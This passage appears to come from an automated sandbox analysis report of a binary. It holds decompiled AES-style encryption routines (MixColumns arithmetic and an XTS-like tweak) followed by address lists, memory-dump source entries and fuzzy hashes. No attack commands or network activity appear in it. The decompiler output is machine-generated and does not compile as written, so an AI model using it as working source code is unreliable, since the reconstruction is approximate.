                                                                					 *(_t440 + 0x10) = _t208 ^ _t153 ^ _t208 ^ _t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b ^ _t208 ^ (_t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b) + _t183 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t183) >> 0x00000007) & 0x1b1b1b1b ^ _t153 ^ _t208 ^ (_t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b) + _t183 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t183) >> 0x00000007) & 0x1b1b1b1b ^ _t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b ^ _t208 ^ (_t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b) + _t183 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t183) >> 0x00000007) & 0x1b1b1b1b ^ (_t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b) + _t183 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t183) >> 0x00000007) & 0x1b1b1b1b;
                                                                					_t188 = _t128 + _t128 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t128) >> 0x00000007) & 0x1b1b1b1b;
                                                                					_t217 = _t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b;
                                                                					asm("rol eax, 0x8");
                                                                					asm("rol ecx, 0x18");
                                                                					asm("rol edx, 0x10");
                                                                					asm("rol ebp, 0x8");
                                                                					_t193 = _t156 + _t156 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t156) >> 0x00000007) & 0x1b1b1b1b;
                                                                					_t222 = _t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b;
                                                                					asm("rol ebx, 0x8");
                                                                					asm("rol ecx, 0x18");
                                                                					asm("rol edx, 0x10");
                                                                					asm("rol ebp, 0x8");
                                                                					_t427 =  *((intOrPtr*)(_t440 + 0x1c));
                                                                					_t310 =  &(( *(_t440 + 0x14))[4]);
                                                                					_t119 = _t128 ^ _t188 ^ _t128 ^ _t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b ^ _t128 ^ (_t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b) + _t217 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t217) >> 0x00000007) & 0x1b1b1b1b ^ _t188 ^ _t128 ^ (_t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b) + _t217 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t217) >> 0x00000007) & 0x1b1b1b1b ^ _t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b ^ _t128 ^ (_t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b) + _t217 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t217) >> 0x00000007) & 0x1b1b1b1b ^ (_t188 + _t188 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t188) >> 0x00000007) & 0x1b1b1b1b) + _t217 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t217) >> 0x00000007) & 0x1b1b1b1b ^  *_t310;
                                                                					_t141 = _t156 ^ _t193 ^ _t156 ^ _t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b ^ _t156 ^ (_t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b) + _t222 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t222) >> 0x00000007) & 0x1b1b1b1b ^ _t193 ^ _t156 ^ (_t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b) + _t222 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t222) >> 0x00000007) & 0x1b1b1b1b ^ _t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b ^ _t156 ^ (_t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b) + _t222 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t222) >> 0x00000007) & 0x1b1b1b1b ^ (_t193 + _t193 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t193) >> 0x00000007) & 0x1b1b1b1b) + _t222 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t222) >> 0x00000007) & 0x1b1b1b1b ^ _t310[1];
                                                                					_t170 =  *(_t440 + 0xc) ^ _t310[2];
                                                                					_t203 =  *(_t440 + 0x10) ^ _t310[3];
                                                                					 *(_t440 + 0x14) = _t310;
                                                                				} while (_t310 <  *((intOrPtr*)(_t440 + 0x18)));
                                                                				 *(_t440 + 4) =  *(_t427 + (_t119 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t427 + (_t203 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t427 + (_t170 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t427 + (_t141 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                				 *(_t440 + 8) =  *(_t427 + (_t141 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t427 + (_t119 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t427 + (_t203 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t427 + (_t170 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                				return  *(_t440 + 4) ^ ( *(_t440 + 0x14))[4];
                                                                			}


















                                                                0x00abf830
                                                                0x00abf834
                                                                0x00abf836
                                                                0x00abf839
                                                                0x00abf83c
                                                                0x00abf84c
                                                                0x00abf86e
                                                                0x00abf870
                                                                0x00abf8ae
                                                                0x00abf8f0
                                                                0x00abf94a
                                                                0x00abf96a
                                                                0x00abf988
                                                                0x00abf9a9
                                                                0x00abf9ca
                                                                0x00abf9d7
                                                                0x00abf9dc
                                                                0x00abf9e1
                                                                0x00abf9e6
                                                                0x00abf9ec
                                                                0x00abfa0d
                                                                0x00abfa2e
                                                                0x00abfa4f
                                                                0x00abfa5c
                                                                0x00abfa61
                                                                0x00abfa66
                                                                0x00abfa6b
                                                                0x00abfa71
                                                                0x00abfa92
                                                                0x00abfab3
                                                                0x00abfad4
                                                                0x00abfae1
                                                                0x00abfae6
                                                                0x00abfaeb
                                                                0x00abfb0f
                                                                0x00abfb30
                                                                0x00abfb51
                                                                0x00abfb5e
                                                                0x00abfb63
                                                                0x00abfb68
                                                                0x00abfb7b
                                                                0x00abfb7f
                                                                0x00abfb82
                                                                0x00abfb84
                                                                0x00abfb87
                                                                0x00abfb8a
                                                                0x00abfb91
                                                                0x00abfb91
                                                                0x00abfbd9
                                                                0x00abfc1b
                                                                0x00abfcaf

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 01b1297a424d3e39430ecae581cbbc167fce1ddec024d9f867a3e2aac9254bbd
                                                                • Instruction ID: cb14426e7c8ec14ee64c943f6f8493fec4a8c64a07b96c96efae1fc19ea06867
                                                                • Opcode Fuzzy Hash: 01b1297a424d3e39430ecae581cbbc167fce1ddec024d9f867a3e2aac9254bbd
                                                                • Instruction Fuzzy Hash: FFC12A73E24B7906D7649E7F8C400A9B6E39FC4120F9F477DDC98A7342C930690A86D0
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dd09723fc643d0e2ee6b257d94cca0fce2373df82c73f826f93028f387d61145
                                                                • Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
                                                                • Opcode Fuzzy Hash: dd09723fc643d0e2ee6b257d94cca0fce2373df82c73f826f93028f387d61145
                                                                • Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 01eef35076e03c2ca61ca294521eaf8e3a6a0edeb0c2c68d9f1c504fd829c17a
                                                                • Instruction ID: 949bdb5b424c2c0a43f42f3d7270096ed39ec06aa68a5cf0b23e268b5b4a9f45
                                                                • Opcode Fuzzy Hash: 01eef35076e03c2ca61ca294521eaf8e3a6a0edeb0c2c68d9f1c504fd829c17a
                                                                • Instruction Fuzzy Hash: 86E17321C1DFDA87D6129B3985421A7F3A0BFFB284F14DB1AFDD435422EB61B2D59240
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 77%
                                                                			E00AC3CD0(intOrPtr __edx) {
                                                                				void* __ebx;
                                                                				void* __edi;
                                                                				void* __esi;
                                                                				signed int _t192;
                                                                				signed int _t194;
                                                                				void* _t196;
                                                                				signed int _t199;
                                                                				intOrPtr* _t205;
                                                                				intOrPtr* _t209;
                                                                				signed int* _t217;
                                                                				intOrPtr* _t218;
                                                                				intOrPtr* _t226;
                                                                				signed int _t229;
                                                                				signed int _t230;
                                                                				signed char _t235;
                                                                				signed int _t237;
                                                                				intOrPtr _t238;
                                                                				intOrPtr _t241;
                                                                				signed int _t243;
                                                                				signed char* _t244;
                                                                				signed int _t251;
                                                                				intOrPtr _t254;
                                                                				intOrPtr _t255;
                                                                				signed int _t256;
                                                                				char* _t274;
                                                                				signed int _t287;
                                                                				signed int _t289;
                                                                				signed int _t301;
                                                                				signed int _t307;
                                                                				void* _t310;
                                                                				intOrPtr _t312;
                                                                				void* _t315;
                                                                				void* _t320;
                                                                				void* _t325;
                                                                				signed int _t329;
                                                                				signed int* _t331;
                                                                				intOrPtr _t332;
                                                                				intOrPtr _t333;
                                                                				intOrPtr _t334;
                                                                				signed int* _t336;
                                                                				intOrPtr _t337;
                                                                				void* _t338;
                                                                				intOrPtr _t342;
                                                                				intOrPtr _t354;
                                                                				signed int _t356;
                                                                				signed int _t360;
                                                                				intOrPtr _t362;
                                                                				signed int _t370;
                                                                				void* _t371;
                                                                				void* _t372;
                                                                
                                                                				E00B8BB10(0x4c);
                                                                				_t192 =  *0xbe5970; // 0xe6e1d076
                                                                				 *(_t370 + 0x48) = _t192 ^ _t370;
                                                                				_t255 =  *((intOrPtr*)(_t370 + 0x50));
                                                                				_t194 =  *(_t370 + 0x54);
                                                                				_t235 =  *(_t370 + 0x64);
                                                                				_t336 =  *(_t370 + 0x60);
                                                                				_t331 =  *(_t370 + 0x68);
                                                                				 *((intOrPtr*)(_t370 + 0x18)) = _t255;
                                                                				if(_t235 >= 0x10) {
                                                                					 *((intOrPtr*)(_t370 + 0x34)) =  *_t194;
                                                                					 *((intOrPtr*)(_t370 + 0x38)) =  *((intOrPtr*)(_t194 + 4));
                                                                					 *((intOrPtr*)(_t370 + 0x3c)) =  *((intOrPtr*)(_t194 + 8));
                                                                					 *((intOrPtr*)(_t370 + 0x40)) =  *((intOrPtr*)(_t194 + 0xc));
                                                                					_t196 = _t370 + 0x38;
                                                                					 *((intOrPtr*)( *((intOrPtr*)(_t255 + 0xc))))(_t196, _t196,  *((intOrPtr*)(_t255 + 4)));
                                                                					_t371 = _t370 + 0xc;
                                                                					if( *((intOrPtr*)(_t371 + 0x70)) == 0 && (_t235 & 0x0000000f) != 0) {
                                                                						_t235 = _t235 - 0x10;
                                                                						 *(_t371 + 0x6c) = _t235;
                                                                					}
                                                                					_t301 =  *(_t371 + 0x40);
                                                                					_t199 =  *(_t371 + 0x3c);
                                                                					_t256 =  *(_t371 + 0x38);
                                                                					_t356 =  *(_t371 + 0x38);
                                                                					if(_t235 < 0x10) {
                                                                						L8:
                                                                						if( *((intOrPtr*)(_t371 + 0x74)) == 0) {
                                                                							_t237 = _t301 >> 0x0000001f & 0x00000087 ^ _t356 + _t356;
                                                                							 *(_t371 + 0x4c) = 0;
                                                                							_t307 =  *(_t371 + 0x4c) ^ (_t256 << 0x00000020 | _t356) << 0x1;
                                                                							_t360 = _t256 >> 0x0000001f | _t199 + _t199;
                                                                							 *(_t371 + 0x24) = 0;
                                                                							 *(_t371 + 0x54) =  *(_t371 + 0x24) | ( *(_t371 + 0x44) << 0x00000020 | _t199) << 0x1;
                                                                							 *(_t371 + 0x28) =  *_t336 ^ _t237;
                                                                							 *(_t371 + 0x4c) = _t307;
                                                                							 *(_t371 + 0x2c) = _t336[1] ^ _t307;
                                                                							_t205 =  *((intOrPtr*)(_t371 + 0x1c));
                                                                							 *(_t371 + 0x30) = _t336[2] ^ _t360;
                                                                							 *(_t371 + 0x34) = _t336[3] ^  *(_t371 + 0x54);
                                                                							_t310 = _t371 + 0x2c;
                                                                							 *((intOrPtr*)( *((intOrPtr*)(_t205 + 8))))(_t310, _t310,  *_t205);
                                                                							_t312 =  *((intOrPtr*)(_t371 + 0x7c));
                                                                							 *(_t371 + 0x34) =  *(_t371 + 0x34) ^ _t237;
                                                                							 *(_t371 + 0x38) =  *(_t371 + 0x38) ^  *(_t371 + 0x58);
                                                                							 *(_t371 + 0x3c) =  *(_t371 + 0x3c) ^ _t360;
                                                                							 *(_t371 + 0x40) =  *(_t371 + 0x40) ^  *(_t371 + 0x60);
                                                                							_t372 = _t371 + 0xc;
                                                                							if(_t312 > 0) {
                                                                								_t274 = _t372 + 0x28;
                                                                								_t217 =  &(_t331[4]);
                                                                								_t338 = _t336 - _t331;
                                                                								_t362 = _t312;
                                                                								do {
                                                                									 *_t217 =  *_t274;
                                                                									 *_t274 =  *((intOrPtr*)(_t217 + _t338));
                                                                									_t217 =  &(_t217[0]);
                                                                									_t274 = _t274 + 1;
                                                                									_t362 = _t362 - 1;
                                                                								} while (_t362 != 0);
                                                                							}
                                                                							 *(_t372 + 0x28) =  *(_t372 + 0x28) ^  *(_t372 + 0x38);
                                                                							 *(_t372 + 0x2c) =  *(_t372 + 0x2c) ^  *(_t372 + 0x3c);
                                                                							_t209 =  *((intOrPtr*)(_t372 + 0x1c));
                                                                							 *(_t372 + 0x30) =  *(_t372 + 0x30) ^  *(_t372 + 0x40);
                                                                							 *(_t372 + 0x34) =  *(_t372 + 0x34) ^  *(_t372 + 0x44);
                                                                							_t315 = _t372 + 0x2c;
                                                                							 *((intOrPtr*)( *((intOrPtr*)(_t209 + 8))))(_t315, _t315,  *_t209);
                                                                							_t318 =  *(_t372 + 0x3c) ^  *(_t372 + 0x4c);
                                                                							 *_t331 =  *(_t372 + 0x34) ^  *(_t372 + 0x44);
                                                                							_t373 = _t372 + 0xc;
                                                                							_t331[1] =  *(_t372 + 0x38) ^  *(_t372 + 0x48);
                                                                							_t331[2] =  *(_t372 + 0x3c) ^  *(_t372 + 0x4c);
                                                                							_t331[3] =  *(_t372 + 0x40) ^  *(_t372 + 0x50);
                                                                							goto L18;
                                                                						} else {
                                                                							 *(_t371 + 0x14) = 0;
                                                                							if( *((intOrPtr*)(_t371 + 0x70)) > 0) {
                                                                								 *((intOrPtr*)(_t371 + 0x20)) = _t336 - _t331;
                                                                								_t243 = _t331 - _t371 + 0x28;
                                                                								 *(_t371 + 0x48) = _t243;
                                                                								while(1) {
                                                                									_t244 =  &((_t371 +  *(_t371 + 0x14) + 0x28)[_t243]);
                                                                									 *(_t371 + 0x18) = _t244;
                                                                									 *(_t371 + 0x13) = _t244[ *((intOrPtr*)(_t371 + 0x20))] & 0x000000ff;
                                                                									 *( *(_t371 + 0x18)) =  *(_t371 +  *(_t371 + 0x14) + 0x28) & 0x000000ff;
                                                                									 *(_t371 + 0x14) =  *(_t371 + 0x14) + 1;
                                                                									 *(_t371 +  *(_t371 + 0x14) + 0x28) =  *(_t371 + 0x13) & 0x000000ff;
                                                                									if( *(_t371 + 0x14) >=  *((intOrPtr*)(_t371 + 0x70))) {
                                                                										goto L13;
                                                                									}
                                                                									_t243 =  *(_t371 + 0x48);
                                                                								}
                                                                							}
                                                                							L13:
                                                                							 *(_t371 + 0x30) =  *(_t371 + 0x30) ^ _t199;
                                                                							_t218 =  *((intOrPtr*)(_t371 + 0x1c));
                                                                							 *(_t371 + 0x2c) =  *(_t371 + 0x2c) ^ _t256;
                                                                							 *(_t371 + 0x34) =  *(_t371 + 0x34) ^ _t301;
                                                                							 *(_t371 + 0x28) =  *(_t371 + 0x28) ^ _t356;
                                                                							_t320 = _t371 + 0x2c;
                                                                							 *((intOrPtr*)( *((intOrPtr*)(_t218 + 8))))( *_t218);
                                                                							 *(_t331 - 0x10) =  *(_t371 + 0x34) ^  *(_t371 + 0x44);
                                                                							 *(_t331 - 0xc) =  *(_t371 + 0x38) ^  *(_t371 + 0x48);
                                                                							 *(_t331 - 8) =  *(_t371 + 0x3c) ^  *(_t371 + 0x4c);
                                                                							 *(_t331 - 4) =  *(_t371 + 0x40) ^  *(_t371 + 0x50);
                                                                							_t333 = _t320;
                                                                							_t342 = _t320;
                                                                							_pop(_t241);
                                                                							return E00B89C26(0, _t241,  *(_t371 + 0x54) ^ _t371 + 0x0000000c,  *(_t371 + 0x3c) ^  *(_t371 + 0x4c), _t333, _t342);
                                                                						}
                                                                					} else {
                                                                						while(1) {
                                                                							 *(_t371 + 0x34) = _t336[3] ^ _t301;
                                                                							_t226 =  *((intOrPtr*)(_t371 + 0x1c));
                                                                							 *(_t371 + 0x30) = _t336[2] ^ _t199;
                                                                							_t325 = _t371 + 0x2c;
                                                                							 *(_t371 + 0x34) =  *_t336 ^ _t356;
                                                                							 *(_t371 + 0x38) = _t336[1] ^ _t256;
                                                                							 *((intOrPtr*)( *((intOrPtr*)(_t226 + 8))))(_t325, _t325,  *_t226);
                                                                							_t318 =  *(_t371 + 0x44);
                                                                							_t251 =  *(_t371 + 0x48);
                                                                							_t287 =  *(_t371 + 0x38) ^ _t251;
                                                                							_t229 =  *(_t371 + 0x34) ^ _t318;
                                                                							_t331[1] = _t287;
                                                                							 *(_t371 + 0x38) = _t287;
                                                                							_t289 =  *(_t371 + 0x40) ^  *(_t371 + 0x50);
                                                                							 *_t331 = _t229;
                                                                							 *(_t371 + 0x34) = _t229;
                                                                							_t230 =  *(_t371 + 0x4c);
                                                                							 *(_t371 + 0x3c) =  *(_t371 + 0x3c) ^ _t230;
                                                                							_t331[2] =  *(_t371 + 0x3c);
                                                                							_t331[3] = _t289;
                                                                							_t373 = _t371 + 0xc;
                                                                							_t336 =  &(_t336[4]);
                                                                							_t331 =  &(_t331[4]);
                                                                							_t52 = _t373 + 0x70;
                                                                							 *_t52 =  *((intOrPtr*)(_t373 + 0x70)) - 0x10;
                                                                							 *(_t373 + 0x34) = _t289;
                                                                							if( *_t52 == 0) {
                                                                								break;
                                                                							}
                                                                							_t356 =  *(_t373 + 0x44) >> 0x0000001f & 0x00000087 ^ _t318 + _t318;
                                                                							_t329 = ( *(_t373 + 0x44) << 0x00000020 | _t230) << 1;
                                                                							 *(_t373 + 0x18) = _t251 >> 0x1f;
                                                                							_t256 = 0 ^ (_t251 << 0x00000020 | _t318) << 0x1;
                                                                							_t199 = _t230 + _t230 |  *(_t373 + 0x18);
                                                                							 *(_t373 + 0x24) = _t329;
                                                                							_t301 = _t329;
                                                                							 *(_t373 + 0x38) = _t356;
                                                                							 *(_t373 + 0x3c) = _t256;
                                                                							 *(_t373 + 0x40) = _t199;
                                                                							 *(_t373 + 0x44) = _t301;
                                                                							if( *((intOrPtr*)(_t373 + 0x70)) >= 0x10) {
                                                                								continue;
                                                                							} else {
                                                                								goto L8;
                                                                							}
                                                                							goto L19;
                                                                						}
                                                                						L18:
                                                                						_pop(_t332);
                                                                						_pop(_t337);
                                                                						_pop(_t238);
                                                                						return E00B89C26(0, _t238,  *(_t373 + 0x58) ^ _t373, _t318, _t332, _t337);
                                                                					}
                                                                				} else {
                                                                					_pop(_t334);
                                                                					_pop(_t354);
                                                                					_pop(_t254);
                                                                					return E00B89C26(_t194 | 0xffffffff, _t254,  *(_t370 + 0x48) ^ _t370, __edx, _t334, _t354);
                                                                				}
                                                                				L19:
                                                                			}





















































                                                                0x00ac3cd5
                                                                0x00ac3cda
                                                                0x00ac3ce1
                                                                0x00ac3ce5
                                                                0x00ac3ce9
                                                                0x00ac3cee
                                                                0x00ac3cf3
                                                                0x00ac3cf8
                                                                0x00ac3cfc
                                                                0x00ac3d03
                                                                0x00ac3d1c
                                                                0x00ac3d23
                                                                0x00ac3d2d
                                                                0x00ac3d34
                                                                0x00ac3d39
                                                                0x00ac3d44
                                                                0x00ac3d46
                                                                0x00ac3d4e
                                                                0x00ac3d55
                                                                0x00ac3d58
                                                                0x00ac3d58
                                                                0x00ac3d5c
                                                                0x00ac3d60
                                                                0x00ac3d64
                                                                0x00ac3d69
                                                                0x00ac3d70
                                                                0x00ac3e53
                                                                0x00ac3e58
                                                                0x00ac3f55
                                                                0x00ac3f59
                                                                0x00ac3f65
                                                                0x00ac3f73
                                                                0x00ac3f75
                                                                0x00ac3f87
                                                                0x00ac3f90
                                                                0x00ac3f97
                                                                0x00ac3fa4
                                                                0x00ac3fa8
                                                                0x00ac3fac
                                                                0x00ac3fb2
                                                                0x00ac3fb7
                                                                0x00ac3fc2
                                                                0x00ac3fcc
                                                                0x00ac3fd0
                                                                0x00ac3fd4
                                                                0x00ac3fd8
                                                                0x00ac3fdc
                                                                0x00ac3fe0
                                                                0x00ac3fe5
                                                                0x00ac3fe7
                                                                0x00ac3feb
                                                                0x00ac3fee
                                                                0x00ac3ff0
                                                                0x00ac3ff2
                                                                0x00ac3ff7
                                                                0x00ac3ff9
                                                                0x00ac3ffb
                                                                0x00ac3ffc
                                                                0x00ac3ffd
                                                                0x00ac3ffd
                                                                0x00ac3ff2
                                                                0x00ac400a
                                                                0x00ac4012
                                                                0x00ac4016
                                                                0x00ac401a
                                                                0x00ac4024
                                                                0x00ac4029
                                                                0x00ac4034
                                                                0x00ac404a
                                                                0x00ac404e
                                                                0x00ac4054
                                                                0x00ac405b
                                                                0x00ac405e
                                                                0x00ac4061
                                                                0x00000000
                                                                0x00ac3e5e
                                                                0x00ac3e63
                                                                0x00ac3e6b
                                                                0x00ac3e6f
                                                                0x00ac3e79
                                                                0x00ac3e7b
                                                                0x00ac3e85
                                                                0x00ac3e8d
                                                                0x00ac3e8f
                                                                0x00ac3ea5
                                                                0x00ac3eb0
                                                                0x00ac3ebb
                                                                0x00ac3ec3
                                                                0x00ac3ecd
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3e81
                                                                0x00ac3e81
                                                                0x00ac3e85
                                                                0x00ac3ecf
                                                                0x00ac3ecf
                                                                0x00ac3ed3
                                                                0x00ac3ed7
                                                                0x00ac3edd
                                                                0x00ac3ee1
                                                                0x00ac3ee6
                                                                0x00ac3ef1
                                                                0x00ac3f1c
                                                                0x00ac3f21
                                                                0x00ac3f25
                                                                0x00ac3f28
                                                                0x00ac3f2b
                                                                0x00ac3f2c
                                                                0x00ac3f2f
                                                                0x00ac3f3e
                                                                0x00ac3f3e
                                                                0x00ac3d76
                                                                0x00ac3d76
                                                                0x00ac3d89
                                                                0x00ac3d8d
                                                                0x00ac3d91
                                                                0x00ac3d98
                                                                0x00ac3da3
                                                                0x00ac3da7
                                                                0x00ac3dab
                                                                0x00ac3db5
                                                                0x00ac3db9
                                                                0x00ac3dbd
                                                                0x00ac3dbf
                                                                0x00ac3dc1
                                                                0x00ac3dc4
                                                                0x00ac3dcc
                                                                0x00ac3dd0
                                                                0x00ac3dd2
                                                                0x00ac3dd6
                                                                0x00ac3dda
                                                                0x00ac3de2
                                                                0x00ac3de5
                                                                0x00ac3de8
                                                                0x00ac3deb
                                                                0x00ac3dee
                                                                0x00ac3df1
                                                                0x00ac3df1
                                                                0x00ac3df6
                                                                0x00ac3dfa
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3e15
                                                                0x00ac3e1e
                                                                0x00ac3e22
                                                                0x00ac3e28
                                                                0x00ac3e2c
                                                                0x00ac3e32
                                                                0x00ac3e36
                                                                0x00ac3e3d
                                                                0x00ac3e41
                                                                0x00ac3e45
                                                                0x00ac3e49
                                                                0x00ac3e4d
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac3e4d
                                                                0x00ac4064
                                                                0x00ac4069
                                                                0x00ac406a
                                                                0x00ac406b
                                                                0x00ac4078
                                                                0x00ac4078
                                                                0x00ac3d05
                                                                0x00ac3d05
                                                                0x00ac3d06
                                                                0x00ac3d0a
                                                                0x00ac3d19
                                                                0x00ac3d19
                                                                0x00000000

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4b9d46a929fa034b0ed27a1be15b9da0a9608b31f21167fa3a532d9380eac4bb
                                                                • Instruction ID: e1080a26ecb287ecb4f8d5daf04ed062711840dcb02d8296e90e39a6ae655b23
